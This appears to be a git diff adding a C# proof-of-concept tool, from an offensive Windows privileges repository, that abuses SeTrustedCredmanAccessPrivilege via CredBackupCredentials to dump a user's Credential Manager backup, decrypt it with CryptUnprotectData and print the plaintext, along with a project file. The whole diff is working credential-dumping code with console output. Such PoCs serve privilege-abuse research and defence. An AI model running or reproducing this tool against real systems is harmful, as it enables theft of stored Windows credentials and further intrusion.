[DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern bool CryptUnprotectData( + in CRYPT_INTEGER_BLOB pDataIn, + StringBuilder ppszDataDescr, + IntPtr /* in CRYPT_INTEGER_BLOB */ pOptionalEntropy, + IntPtr pvReserved, + IntPtr /* in CRYPTPROTECT_PROMPTSTRUCT */ pPromptStruct, + CryptProtectFlags dwFlags, + out CRYPT_INTEGER_BLOB pDataOut); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + static extern int FormatMessage( + FormatMessageFlags dwFlags, + IntPtr lpSource, + int dwMessageId, + int dwLanguageId, + StringBuilder lpBuffer, + int nSize, + IntPtr Arguments); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool FreeLibrary(IntPtr hLibModule); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern IntPtr LocalFree(IntPtr hMem); + + /* + * User defined functions + */ + static string GetWin32ErrorMessage(int code, bool isNtStatus) + { + var message = new StringBuilder(); + var messageSize = 255; + FormatMessageFlags messageFlag; + IntPtr pNtdll; + message.Capacity = messageSize; + + if (isNtStatus) + { + pNtdll = LoadLibrary("ntdll.dll"); + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE | + FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + else + { + pNtdll = IntPtr.Zero; + messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM; + } + + int ret = FormatMessage( + messageFlag, + pNtdll, + code, + 0, + message, + messageSize, + IntPtr.Zero); + + if (isNtStatus) + FreeLibrary(pNtdll); + + if (ret == 0) + { + return string.Format("[ERROR] Code 0x{0}", code.ToString("X8")); + } + else + { + return string.Format( + "[ERROR] Code 0x{0} : {1}", + code.ToString("X8"), + message.ToString().Trim()); + } + } + + + static bool DumpDPAPICredentials( + IntPtr hToken, + out uint nBlobSize, + out IntPtr pBlobData) + { + int error; + nBlobSize = 0; + pBlobData = IntPtr.Zero; + string filePath = string.Format("{0}\\tmp_dpapi_blob.bin", Environment.CurrentDirectory); + + Console.WriteLine("[>] Trying to get an encrypted backup DPAPI blob."); + + if (File.Exists(filePath)) + { + Console.WriteLine("[!] \"{0}\" is already exists."); + + return false; + } + + bool status = CredBackupCredentials( + hToken, + filePath, + IntPtr.Zero, + 0, + 0); + + if (!status) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to get an encrypted backup DPAPI blob."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return false; + } + else + { + Console.WriteLine("[+] Got an encrypted backup DPAPI blob."); + Console.WriteLine(" |-> File Path : {0}", filePath); + } + + byte[] data; + + try + { + Console.WriteLine("[>] Reading the encrypted backup DPAPI blob."); + data = File.ReadAllBytes(filePath); + + Console.WriteLine("[>] Deleting the encrypted backup DPAPI blob."); + File.Delete(filePath); + } + catch + { + Console.WriteLine("[!] Raise exception in file operation."); + + return false; + } + + var ppszDataDescr = new StringBuilder(); + var dataIn = new CRYPT_INTEGER_BLOB { cbData = (uint)data.Length, pbData = Marshal.AllocHGlobal(data.Length) }; + Marshal.Copy(data, 0, dataIn.pbData, data.Length); + + Console.WriteLine("[>] Trying to decrypt the DPAPI blob."); + + status = CryptUnprotectData( + in dataIn, + ppszDataDescr, + IntPtr.Zero, + IntPtr.Zero, + IntPtr.Zero, + CryptProtectFlags.CRYPTPROTECT_NO_OPTION, + out CRYPT_INTEGER_BLOB dataOut); + Marshal.FreeHGlobal(dataIn.pbData); + + if (!status) + { + error = Marshal.GetLastWin32Error(); + Console.WriteLine("[-] Failed to decrypt the DPAPI blob."); + Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false)); + + return false; + } + else + { + Console.WriteLine("[+] DPAPI blob is decrypted successfully."); + } + + nBlobSize = dataOut.cbData; + pBlobData = dataOut.pbData; + + return true; + } + + static void Main(string[] args) + { + IntPtr hToken = WindowsIdentity.GetCurrent().Token; + + Console.WriteLine("[*] If you have SeTrustedCredmanAccessPrivilege, you can access any DPAPI data in the system."); + Console.WriteLine("[*] This PoC tries to get a decrypted DPAPI blob for current user."); + Console.WriteLine("[*] Current User : {0}\\{1}", Environment.UserDomainName, Environment.UserName); + + if (DumpDPAPICredentials( + hToken, + out uint nBlobSize, + out IntPtr pBlobData)) + { + Console.WriteLine("[*] Decrypted Data:\n"); + HexDump.Dump(pBlobData, (int)nBlobSize, 1); + LocalFree(pBlobData); + } + } + } +} diff --git a/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.csproj b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.csproj new file mode 100644 index 0000000..97d246b --- /dev/null +++ b/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC/SeTrustedCredManAccessPrivilegePoC.csproj @@ -0,0 +1,55 @@ + + + + + Debug + AnyCPU + {8DED0EC8-3611-4481-88FC-14B82531FD2B} + Exe + SeTrustedCredManAccessPrivilegePoC + SeTrustedCredManAccessPrivilegePoC + v4.5 + 512 + true + + + AnyCPU + true + full + false + ..\bin\Debug\ + DEBUG;TRACE + prompt + 4 + false + + + AnyCPU + pdbonly + true + ..\bin\Release\ + TRACE + prompt + 4 + false + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file